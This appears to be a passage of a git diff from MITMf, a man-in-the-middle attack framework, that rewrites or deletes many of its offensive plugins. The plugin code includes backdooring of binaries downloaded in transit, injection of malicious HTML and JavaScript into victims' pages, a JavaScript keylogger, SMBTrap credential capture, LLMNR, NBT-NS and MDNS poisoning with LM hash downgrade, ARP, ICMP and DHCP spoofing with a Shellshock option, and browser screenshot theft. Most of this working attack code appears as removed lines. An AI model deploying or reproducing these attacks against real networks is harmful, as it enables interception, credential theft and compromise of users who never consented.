['pe','elf','fatfile','machox64','machox86']: - if self.bytes_have_format(data, bintype): - mitmf_logger.info("[FilePwn] {} Detected supported binary type ({})!".format(client_ip, bintype)) - fd, tmpFile = mkstemp() - with open(tmpFile, 'w') as f: - f.write(data) - - process = multiprocessing.Process(name='binaryGrinder', target=self.binaryGrinder, args=(tmpFile,)) - process.daemon = True - process.start() - #process.join() - patchb = self.patched.get() - - if patchb: - bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read() - os.remove('./backdoored/' + os.path.basename(tmpFile)) - mitmf_logger.info("[FilePwn] {} Patching complete, forwarding to client".format(client_ip)) - return {'response': response, 'request': request, 'data': bd_binary} - - mitmf_logger.debug("[FilePwn] {} File is not of supported Content-Type: {}".format(client_ip, content_header)) - return {'response': response, 'request': request, 'data': data} \ No newline at end of file diff --git a/plugins/Inject.py b/plugins/Inject.py index cb9c337..907e2ab 100644 --- a/plugins/Inject.py +++ b/plugins/Inject.py @@ -1,5 +1,3 @@ -#!/usr/bin/env python2.7 - # Copyright (c) 2014-2016 Marcello Salvati # # This program is free software; you can redistribute it and/or @@ -18,31 +16,31 @@ # USA # -import logging import time import re import sys import argparse -from core.utils import SystemConfig from plugins.plugin import Plugin -from plugins.CacheKill import CacheKill -mitmf_logger = logging.getLogger("mitmf") - -class Inject(CacheKill, Plugin): +class Inject(Plugin): name = "Inject" optname = "inject" desc = "Inject arbitrary content into HTML content" - version = "0.3" - has_opts = True + version = "0.4" def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' self.options = options - self.our_ip = SystemConfig.getIP(options.interface) - self.html_src = options.html_url - self.js_src = options.js_url + self.ip = options.ip + + self.html_url = options.html_url + self.html_payload = options.html_payload + self.html_file = options.html_file + self.js_url = options.js_url + self.js_payload = options.js_payload + self.js_file = options.js_file + self.rate_limit = options.rate_limit self.count_limit = options.count_limit self.per_domain = options.per_domain @@ -50,33 +48,47 @@ class Inject(CacheKill, Plugin): self.white_ips = options.white_ips.split(',') self.white_domains = options.white_domains.split(',') self.black_domains = options.black_domains.split(',') - self.match_str = "" or options.match_str - self.html_payload = options.html_payload + self.match_str = options.match_str + self.ctable = {} self.dtable = {} self.count = 0 self.mime = "text/html" - if not options.preserve_cache: - CacheKill.initialize(self, options) - - def serverResponse(self, response, request, data): - #We throttle to only inject once every two seconds per client - #If you have MSF on another host, you may need to check prior to injection - #print "http://" + response.client.getRequestHostname() + response.uri + def response(self, response, request, data): ip, hn, mime = self._get_req_info(response) - if self._should_inject(ip, hn, mime) and self._ip_filter(ip) and self._host_filter(hn) and (hn not in self.our_ip): - if (not self.js_src == self.html_src is not None or not self.html_payload == ""): - data = self._insert_html(data, post=[(self.match_str, self._get_payload())]) + if self._should_inject(ip, hn, mime) and self._ip_filter(ip) and self._host_filter(hn) and (hn not in self.ip): + if (not self.js_url == self.html_url is not None or not self.html_payload == ""): + data = self._insert_html(data, post=[(self.match_str, self.get_payload())]) self.ctable[ip] = time.time() self.dtable[ip+hn] = True self.count += 1 - mitmf_logger.info("{} [{}] Injected malicious html: {}".format(ip, self.name, hn)) + self.clientlog.info("Injected malicious html: {}".format(hn), extra=request.clientInfo) return {'response': response, 'request':request, 'data': data} - def _get_payload(self): - return self._get_js() + self._get_iframe() + self.html_payload + def get_payload(self): + payload = '' + + if self.html_url is not None: + payload += ''.format(self.html_url) + + if self.html_payload is not None: + payload += self.html_payload + + if self.html_file: + payload += self.html_file.read() + + if self.js_url is not None: + payload += ''.format(self.js_url) + + if self.js_payload is not None: + payload += ''.format(self.js_payload) + + if self.js_file: + payload += ''.format(self.js_file.read()) + + return payload def _ip_filter(self, ip): @@ -134,16 +146,6 @@ class Inject(CacheKill, Plugin): mime = response.headers['Content-Type'] return (ip, hn, mime) - def _get_iframe(self): - if self.html_src is not None: - return '' % (self.html_src) - return '' - - def _get_js(self): - if self.js_src is not None: - return '' % (self.js_src) - return '' - def _insert_html(self, data, pre=[], post=[], re_flags=re.I): ''' To use this function, simply pass a list of tuples of the form: @@ -166,18 +168,20 @@ class Inject(CacheKill, Plugin): return data - def pluginOptions(self, options): - options.add_argument("--js-url", type=str, help="Location of your (presumably) malicious Javascript.") - options.add_argument("--html-url", type=str, help="Location of your (presumably) malicious HTML. Injected via hidden iframe.") - options.add_argument("--html-payload", type=str, default='', help="String you would like to inject.") - #options.add_argument("--html-file", type=argparse.FileType('r'), help='File containg HTML you would like to inject') - options.add_argument("--match-str", type=str, default=None, help="String you would like to match and place your payload before. ( by default)") - options.add_argument("--preserve-cache", action="store_true", help="Don't kill the server/client caching.") + def options(self, options): + options.add_argument("--js-url", type=str, help="URL of the JS to inject") + options.add_argument('--js-payload', type=str, help='JS string to inject') + options.add_argument('--js-file', type=argparse.FileType('r'), help='File containing JS to inject') + options.add_argument("--html-url", type=str, help="URL of the HTML to inject") + options.add_argument("--html-payload", type=str, help="HTML string to inject") + options.add_argument('--html-file', type=argparse.FileType('r'), help='File containing HTML to inject') + options.add_argument("--match-str", type=str, default='', help="String you would like to match and place your payload before. ( by default)") + group = options.add_mutually_exclusive_group(required=False) - group.add_argument("--per-domain", action="store_true", default=False, help="Inject once per domain per client.") - group.add_argument("--rate-limit", type=float, default=None, help="Inject once every RATE_LIMIT seconds per client.") - group.add_argument("--count-limit", type=int, default=None, help="Inject only COUNT_LIMIT times per client.") - group.add_argument("--white-ips", metavar='IPS', type=str, default='', help="Inject content ONLY for these ips (comma seperated)") - group.add_argument("--black-ips", metavar='IPS', type=str, default='', help="DO NOT inject content for these ips (comma seperated)") - group.add_argument("--white-domains", metavar='DOMAINS', type=str, default='', help="Inject content ONLY for these domains (comma seperated)") - group.add_argument("--black-domains", metavar='DOMAINS', type=str, default='', help="DO NOT inject content for these domains (comma seperated)") + group.add_argument("--per-domain", action="store_true", help="Inject once per domain per client.") + group.add_argument("--rate-limit", type=float, help="Inject once every RATE_LIMIT seconds per client.") + group.add_argument("--count-limit", type=int, help="Inject only COUNT_LIMIT times per client.") + group.add_argument("--white-ips", metavar='IP', default='', type=str, help="Inject content ONLY for these ips (comma seperated)") + group.add_argument("--black-ips", metavar='IP', default='', type=str, help="DO NOT inject content for these ips (comma seperated)") + group.add_argument("--white-domains", metavar='DOMAINS', default='', type=str, help="Inject content ONLY for these domains (comma seperated)") + group.add_argument("--black-domains", metavar='DOMAINS', default='', type=str, help="DO NOT inject content for these domains (comma seperated)") diff --git a/plugins/JsKeylogger.py b/plugins/JsKeylogger.py deleted file mode 100644 index 892cc69..0000000 --- a/plugins/JsKeylogger.py +++ /dev/null @@ -1,71 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# -import logging -import re -import random -import string - -from plugins.plugin import Plugin -from plugins.Inject import Inject - -mitmf_logger = logging.getLogger("mitmf") - -class jskeylogger(Inject, Plugin): - name = "JSKeylogger" - optname = "jskeylogger" - desc = "Injects a javascript keylogger into clients webpages" - version = "0.2" - has_opts = False - - def initialize(self, options): - Inject.initialize(self, options) - self.html_payload = self.msf_keylogger() - - def clientRequest(self, request): - if 'keylog' in request.uri: - request.printPostData = False - - raw_keys = request.postData.split("&&")[0] - input_field = request.postData.split("&&")[1] - - keys = raw_keys.split(",") - if keys: - del keys[0]; del(keys[len(keys)-1]) - - nice = '' - for n in keys: - if n == '9': - nice += "" - elif n == '8': - nice = nice[:-1] - elif n == '13': - nice = '' - else: - try: - nice += n.decode('hex') - except: - mitmf_logger.error("{} [JSKeylogger] Error decoding char: {}".format(request.client.getClientIP(), n)) - - mitmf_logger.info("{} [JSKeylogger] Host: {} | Field: {} | Keys: {}".format(request.client.getClientIP(), request.headers['host'], input_field, nice)) - - def msf_keylogger(self): - keylogger = open("./core/javascript/msfkeylogger.js", "r").read() - - return '' diff --git a/plugins/Replace.py b/plugins/Replace.py deleted file mode 100644 index 426e00e..0000000 --- a/plugins/Replace.py +++ /dev/null @@ -1,80 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -""" - -Plugin by @rubenthijssen - -""" - -import sys -import logging -import time -import re -from plugins.plugin import Plugin -from plugins.CacheKill import CacheKill -from core.sergioproxy.ProxyPlugins import ProxyPlugins - -mitmf_logger = logging.getLogger("mitmf") - -class Replace(Plugin): - name = "Replace" - optname = "replace" - desc = "Replace arbitrary content in HTML content" - version = "0.2" - has_opts = False - - def initialize(self, options): - self.options = options - - self.ctable = {} - self.dtable = {} - self.mime = "text/html" - - def serverResponse(self, response, request, data): - ip, hn, mime = self._get_req_info(response) - - if self._should_replace(ip, hn, mime): - - # Did the user provide us with a regex file? - for rulename, regexs in self.config['Replace'].iteritems(): - for regex1,regex2 in regexs.iteritems(): - if re.search(regex1, data): - try: - data = re.sub(regex1, regex2, data) - - mitmf_logger.info("{} [{}] Host: {} Occurances matching '{}' replaced with '{}' according to rule '{}'".format(ip, self.name, hn, regex1, regex2, rulename)) - except Exception: - mitmf_logger.error("{} [{}] Your provided regex ({}) or replace value ({}) is empty or invalid. Please debug your provided regex(es) in rule '{}'" % (ip, hn, regex1, regex2, rulename)) - - self.ctable[ip] = time.time() - self.dtable[ip+hn] = True - - return {'response': response, 'request': request, 'data': data} - - def _should_replace(self, ip, hn, mime): - return mime.find(self.mime) != -1 - - def _get_req_info(self, response): - ip = response.getClientIP() - hn = response.getRequestHostname() - mime = response.headers['Content-Type'] - - return (ip, hn, mime) diff --git a/plugins/Responder.py b/plugins/Responder.py deleted file mode 100644 index 9ea9fec..0000000 --- a/plugins/Responder.py +++ /dev/null @@ -1,128 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -from plugins.plugin import Plugin -from twisted.internet import reactor -from core.utils import SystemConfig, shutdown - -from core.responder.llmnr.LLMNRPoisoner import LLMNRPoisoner -from core.responder.mdns.MDNSPoisoner import MDNSPoisoner -from core.responder.nbtns.NBTNSPoisoner import NBTNSPoisoner -from core.responder.fingerprinter.LANFingerprinter import LANFingerprinter -from core.responder.wpad.WPADPoisoner import WPADPoisoner - -class Responder(Plugin): - name = "Responder" - optname = "responder" - desc = "Poison LLMNR, NBT-NS and MDNS requests" - tree_info = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"] - version = "0.2" - has_opts = True - - def initialize(self, options): - '''Called if plugin is enabled, passed the options namespace''' - self.options = options - self.interface = options.interface - self.ourip = SystemConfig.getIP(options.interface) - - try: - config = self.config['Responder'] - smbChal = self.config['MITMf']['SMB']['Challenge'] - except Exception as e: - shutdown('[-] Error parsing config for Responder: ' + str(e)) - - LANFingerprinter().start(options) - MDNSPoisoner().start(options, self.ourip) - NBTNSPoisoner().start(options, self.ourip) - LLMNRPoisoner().start(options, self.ourip) - - if options.wpad: - from core.responder.wpad.WPADPoisoner import WPADPoisoner - WPADPoisoner().start(options) - - if self.config["Responder"]["MSSQL"].lower() == "on": - from core.responder.mssql.MSSQLServer import MSSQLServer - MSSQLServer().start(smbChal) - - if self.config["Responder"]["Kerberos"].lower() == "on": - from core.responder.kerberos.KERBServer import KERBServer - KERBServer().start() - - if self.config["Responder"]["FTP"].lower() == "on": - from core.responder.ftp.FTPServer import FTPServer - FTPServer().start() - - if self.config["Responder"]["POP"].lower() == "on": - from core.responder.pop3.POP3Server import POP3Server - POP3Server().start() - - if self.config["Responder"]["SMTP"].lower() == "on": - from core.responder.smtp.SMTPServer import SMTPServer - SMTPServer().start() - - if self.config["Responder"]["IMAP"].lower() == "on": - from core.responder.imap.IMAPServer import IMAPServer - IMAPServer().start() - - if self.config["Responder"]["LDAP"].lower() == "on": - from core.responder.ldap.LDAPServer import LDAPServer - LDAPServer().start(smbChal) - - if options.analyze: - self.tree_info.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned") - self.IsICMPRedirectPlausible(self.ourip) - - def IsICMPRedirectPlausible(self, IP): - result = [] - dnsip = [] - for line in file('/etc/resolv.conf', 'r'): - ip = line.split() - if len(ip) < 2: - continue - if ip[0] == 'nameserver': - dnsip.extend(ip[1:]) - - for x in dnsip: - if x !="127.0.0.1" and self.IsOnTheSameSubnet(x,IP) == False: - self.tree_info.append("You can ICMP Redirect on this network. This workstation ({}) is not on the same subnet than the DNS server ({})".format(IP, x)) - else: - pass - - def IsOnTheSameSubnet(self, ip, net): - net = net+'/24' - ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16) - netstr, bits = net.split('/') - netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16) - mask = (0xffffffff << (32 - int(bits))) & 0xffffffff - return (ipaddr & mask) == (netaddr & mask) - - def pluginReactor(self, strippingFactory): - reactor.listenTCP(3141, strippingFactory) - - def pluginOptions(self, options): - options.add_argument('--analyze', dest="analyze", action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning") - options.add_argument('--wredir', dest="wredir", default=False, action="store_true", help="Enables answers for netbios wredir suffix queries") - options.add_argument('--nbtns', dest="nbtns", default=False, action="store_true", help="Enables answers for netbios domain suffix queries") - options.add_argument('--fingerprint', dest="finger", default=False, action="store_true", help = "Fingerprint hosts that issued an NBT-NS or LLMNR query") - options.add_argument('--lm', dest="lm", default=False, action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier") - options.add_argument('--wpad', dest="wpad", default=False, action="store_true", help = "Start the WPAD rogue proxy server") - # Removed these options until I find a better way of implementing them - #options.add_argument('--forcewpadauth', dest="forceWpadAuth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False") - #options.add_argument('--basic', dest="basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned") diff --git a/plugins/SMBTrap.py b/plugins/SMBTrap.py deleted file mode 100644 index aba0d5d..0000000 --- a/plugins/SMBTrap.py +++ /dev/null @@ -1,24 +0,0 @@ -import logging -import random -import string -from plugins.plugin import Plugin -from core.utils import SystemConfig - -mitmf_logger = logging.getLogger("mitmf") - -class SMBTrap(Plugin): - name = "SMBTrap" - optname = "smbtrap" - desc = "Exploits the SMBTrap vulnerability on connected clients" - version = "1.0" - has_opts = False - - def initialize(self, options): - self.ourip = SystemConfig.getIP(options.interface) - - def serverResponseStatus(self, request, version, code, message): - return {"request": request, "version": version, "code": 302, "message": "Found"} - - def serverHeaders(self, response, request): - mitmf_logger.info("{} [SMBTrap] Trapping request to {}".format(request.client.getClientIP(), request.headers['host'])) - response.headers["Location"] = "file://{}/{}".format(self.ourip, ''.join(random.sample(string.ascii_uppercase + string.digits, 8))) \ No newline at end of file diff --git a/plugins/SSLstrip+.py b/plugins/SSLstrip+.py deleted file mode 100644 index 78c9de4..0000000 --- a/plugins/SSLstrip+.py +++ /dev/null @@ -1,51 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import sys -import logging - -from plugins.plugin import Plugin -from core.sslstrip.URLMonitor import URLMonitor -from core.servers.dns.DNSchef import DNSChef -from core.utils import IpTables - -class HSTSbypass(Plugin): - name = 'SSLstrip+' - optname = 'hsts' - desc = 'Enables SSLstrip+ for partial HSTS bypass' - version = "0.4" - tree_info = ["SSLstrip+ by Leonardo Nve running"] - has_opts = False - - def initialize(self, options): - self.options = options - self.manualiptables = options.manualiptables - - if not options.manualiptables: - if IpTables.getInstance().dns is False: - IpTables.getInstance().DNS(self.config['MITMf']['DNS']['port']) - - URLMonitor.getInstance().setHstsBypass() - DNSChef.getInstance().setHstsBypass() - - def finish(self): - if not self.manualiptables: - if IpTables.getInstance().dns is True: - IpTables.getInstance().Flush() diff --git a/plugins/Screenshotter.py b/plugins/Screenshotter.py deleted file mode 100644 index eae51ee..0000000 --- a/plugins/Screenshotter.py +++ /dev/null @@ -1,63 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import logging -import base64 -import urllib -import re - -from datetime import datetime -from plugins.Inject import Inject -from plugins.plugin import Plugin - -mitmf_logger = logging.getLogger('mitmf') - -class ScreenShotter(Inject, Plugin): - name = 'ScreenShotter' - optname = 'screen' - desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser' - ver = '0.1' - has_opts = True - - def initialize(self, options): - self.interval = 10 or options.interval - Inject.initialize(self, options) - self.html_payload = self.get_payload() - - def clientRequest(self, request): - if 'saveshot' in request.uri: - request.printPostData = False - client = request.client.getClientIP() - img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")) - try: - with open('./logs/' + img_file, 'wb') as img: - img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1])) - img.close() - - mitmf_logger.info('{} [ScreenShotter] Saved screenshot to {}'.format(client, img_file)) - except Exception as e: - mitmf_logger.error('{} [ScreenShotter] Error saving screenshot: {}'.format(client, e)) - - def get_payload(self): - canvas = re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read()) - return '' - - def pluginOptions(self, options): - options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=None, help="Interval at which screenshots will be taken (default 10 seconds)") \ No newline at end of file diff --git a/plugins/Spoof.py b/plugins/Spoof.py deleted file mode 100644 index 37379fd..0000000 --- a/plugins/Spoof.py +++ /dev/null @@ -1,132 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -from core.utils import SystemConfig, IpTables, shutdown -from core.poisoners.arp.ARPpoisoner import ARPpoisoner -from core.poisoners.arp.ARPWatch import ARPWatch -from core.servers.dns.DNSchef import DNSChef -from core.poisoners.dhcp.DHCPpoisoner import DHCPpoisoner -from core.poisoners.icmp.ICMPpoisoner import ICMPpoisoner -from plugins.plugin import Plugin -from scapy.all import * - -class Spoof(Plugin): - name = "Spoof" - optname = "spoof" - desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS" - version = "0.6" - has_opts = True - - def initialize(self, options): - '''Called if plugin is enabled, passed the options namespace''' - self.options = options - self.dnscfg = self.config['MITMf']['DNS'] - self.dhcpcfg = self.config['Spoof']['DHCP'] - self.targets = options.targets - self.arpmode = options.arpmode or 'rep' - self.manualiptables = options.manualiptables - self.mymac = SystemConfig.getMAC(options.interface) - self.myip = SystemConfig.getIP(options.interface) - self.protocolInstances = [] - - #Makes scapy more verbose - debug = False - - if options.arp: - - if not options.gateway: - shutdown("[-] --arp argument requires --gateway") - - if options.targets is None: - #if were poisoning whole subnet, start ARP-Watch - arpwatch = ARPWatch(options.gateway, self.myip, options.interface) - arpwatch.debug = debug - - self.tree_info.append("ARPWatch online") - self.protocolInstances.append(arpwatch) - - arp = ARPpoisoner(options.gateway, options.interface, self.mymac, options.targets) - arp.arpmode = self.arpmode - arp.debug = debug - - self.protocolInstances.append(arp) - - - elif options.icmp: - - if not options.gateway: - shutdown("[-] --icmp argument requires --gateway") - - if not options.targets: - shutdown("[-] --icmp argument requires --targets") - - icmp = ICMPpoisoner(options.interface, options.targets, options.gateway, self.myip) - icmp.debug = debug - - self.protocolInstances.append(icmp) - - elif options.dhcp: - - if options.targets: - shutdown("[-] --targets argument invalid when DCHP spoofing") - - dhcp = DHCPServer(options.interface, self.dhcpcfg, self.myip, self.mymac) - dhcp.shellshock = options.shellshock - dhcp.debug = debug - self.protocolInstances.append(dhcp) - - if options.dns: - - if not options.manualiptables: - if IpTables.getInstance().dns is False: - IpTables.getInstance().DNS(self.dnscfg['port']) - - if not options.arp and not options.icmp and not options.dhcp and not options.dns: - shutdown("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns") - - SystemConfig.setIpForwarding(1) - - if not options.manualiptables: - if IpTables.getInstance().http is False: - IpTables.getInstance().HTTP(options.listen) - - for protocol in self.protocolInstances: - protocol.start() - - def pluginOptions(self, options): - group = options.add_mutually_exclusive_group(required=False) - group.add_argument('--arp', dest='arp', action='store_true', default=False, help='Redirect traffic using ARP spoofing') - group.add_argument('--icmp', dest='icmp', action='store_true', default=False, help='Redirect traffic using ICMP redirects') - group.add_argument('--dhcp', dest='dhcp', action='store_true', default=False, help='Redirect traffic using DHCP offers') - options.add_argument('--dns', dest='dns', action='store_true', default=False, help='Proxy/Modify DNS queries') - options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', default=None, help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command') - options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP') - options.add_argument('--targets', dest='targets', default=None, help='Specify host/s to poison [if ommited will default to subnet]') - options.add_argument('--arpmode',type=str, dest='arpmode', default=None, choices=["rep", "req"], help=' ARP Spoofing mode: replies (rep) or requests (req) [default: rep]') - - def finish(self): - for protocol in self.protocolInstances: - if hasattr(protocol, 'stop'): - protocol.stop() - - if not self.manualiptables: - IpTables.getInstance().Flush() - - SystemConfig.setIpForwarding(0) diff --git a/plugins/Upsidedownternet.py b/plugins/Upsidedownternet.py deleted file mode 100644 index c4ffd0b..0000000 --- a/plugins/Upsidedownternet.py +++ /dev/null @@ -1,69 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import logging -from cStringIO import StringIO -from plugins.plugin import Plugin -from PIL import Image, ImageFile - -mitmf_logger = logging.getLogger("mitmf") - -class Upsidedownternet(Plugin): - name = "Upsidedownternet" - optname = "upsidedownternet" - desc = 'Flips images 180 degrees' - version = "0.1" - has_opts = False - - def initialize(self, options): - globals()['Image'] = Image - globals()['ImageFile'] = ImageFile - self.options = options - - def serverHeaders(self, response, request): - '''Kill the image skipping that's in place for speed reasons''' - if request.isImageRequest: - request.isImageRequest = False - request.isImage = True - self.imageType = response.headers['content-type'].split('/')[1].upper() - - def serverResponse(self, response, request, data): - try: - isImage = getattr(request, 'isImage') - except AttributeError: - isImage = False - - if isImage: - try: - #For some reason more images get parsed using the parser - #rather than a file...PIL still needs some work I guess - p = ImageFile.Parser() - p.feed(data) - im = p.close() - im = im.transpose(Image.ROTATE_180) - output = StringIO() - im.save(output, format=self.imageType) - data = output.getvalue() - output.close() - mitmf_logger.info("{} [Upsidedownternet] Flipped image".format(response.getClientIP())) - except Exception as e: - mitmf_logger.info("{} [Upsidedownternet] Error: {}".format(response.getClientIP(), e)) - - return {'response': response, 'request': request, 'data': data} diff --git a/plugins/__init__.py b/plugins/__init__.py index 155e900..9522dbd 100644 --- a/plugins/__init__.py +++ b/plugins/__init__.py @@ -1,5 +1,3 @@ -#Hack grabbed from http://stackoverflow.com/questions/1057431/loading-all-modules-in-a-folder-in-python -#Has to be a cleaner way to do this, but it works for now import os import glob __all__ = [ os.path.basename(f)[:-3] for f in glob.glob(os.path.dirname(__file__)+"/*.py")] diff --git a/plugins/plugin.py b/plugins/plugin.py index ff0dd97..89ab856 100644 --- a/plugins/plugin.py +++ b/plugins/plugin.py @@ -1,25 +1,52 @@ -''' -The base plugin class. This shows the various methods that -can get called during the MITM attack. -''' -from core.configwatcher import ConfigWatcher -import logging +#!/usr/bin/env python2.7 -mitmf_logger = logging.getLogger('mitmf') +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import logging +import argparse + +from core.configwatcher import ConfigWatcher +from core.logger import logger class Plugin(ConfigWatcher, object): name = "Generic plugin" optname = "generic" - tree_info = list() + tree_info = [] desc = "" version = "0.0" - has_opts = False + + def __init__(self, parser): + '''Passed the options namespace''' + if self.desc: + sgroup = parser.add_argument_group(self.name, self.desc) + else: + sgroup = parser.add_argument_group(self.name,"Options for the '{}' plugin".format(self.name)) + + sgroup.add_argument("--{}".format(self.optname), action="store_true",help="Load plugin '{}'".format(self.name)) + + self.options(sgroup) def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' self.options = options - def clientRequest(self, request): + def request(self, request): ''' Handles all outgoing requests, hooks connectionMade() request object has the following attributes: @@ -32,32 +59,43 @@ class Plugin(ConfigWatcher, object): ''' pass - def serverHeaders(self, response, request): + def responseheaders(self, response, request): ''' Handles all response headers, hooks handleEndHeaders() ''' pass - def serverResponseStatus(self, request, version, code, message): + def responsestatus(self, request, version, code, message): ''' Handles server response HTTP version, code and message ''' return {"request": request, "version": version, "code": code, "message": message} - def serverResponse(self, response, request, data): + def response(self, response, request, data): ''' Handles all non-image responses by default, hooks handleResponse() (See Upsidedownternet for how to get images) ''' return {'response': response, 'request':request, 'data': data} - def pluginOptions(self, options): + def on_config_change(self): + """Do something when MITMf detects the config file has been modified""" + pass + + def options(self, options): '''Add your options to the options parser''' pass - def pluginReactor(self, strippingFactory): - '''This sets up another instance of the reactor on a diffrent port, passed the default factory''' + def reactor(self, strippingFactory): + '''This makes it possible to set up another instance of the reactor on a diffrent port, passed the default factory''' pass - def finish(self): + def setup_logger(self): + formatter = logging.Formatter("%(asctime)s [{}] %(message)s".format(self.name), datefmt="%Y-%m-%d %H:%M:%S") + self.log = logger().setup_logger(self.name, formatter) + + formatter = logging.Formatter("%(asctime)s %(clientip)s [type:%(browser)s-%(browserv)s os:%(clientos)s] [{}] %(message)s".format(self.name), datefmt="%Y-%m-%d %H:%M:%S") + self.clientlog = logger().setup_logger("{}_{}".format(self.name, "clientlog"), formatter) + + def on_shutdown(self): '''This will be called when shutting down''' pass From 5e2f30fb892b659cfdd90d03aadb21c72644bca6 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sat, 18 Jul 2015 20:14:07 +0200 Subject: [PATCH 211/323] This is a vewwwy big commit - The inject plugin now uses beautifulsoup4 to actually parse HTML and add content to it as supposed to using regexes - The logging of the whole framework has been compleatly overhauled - plugindetect.js now includes os.js from the metasploit framework 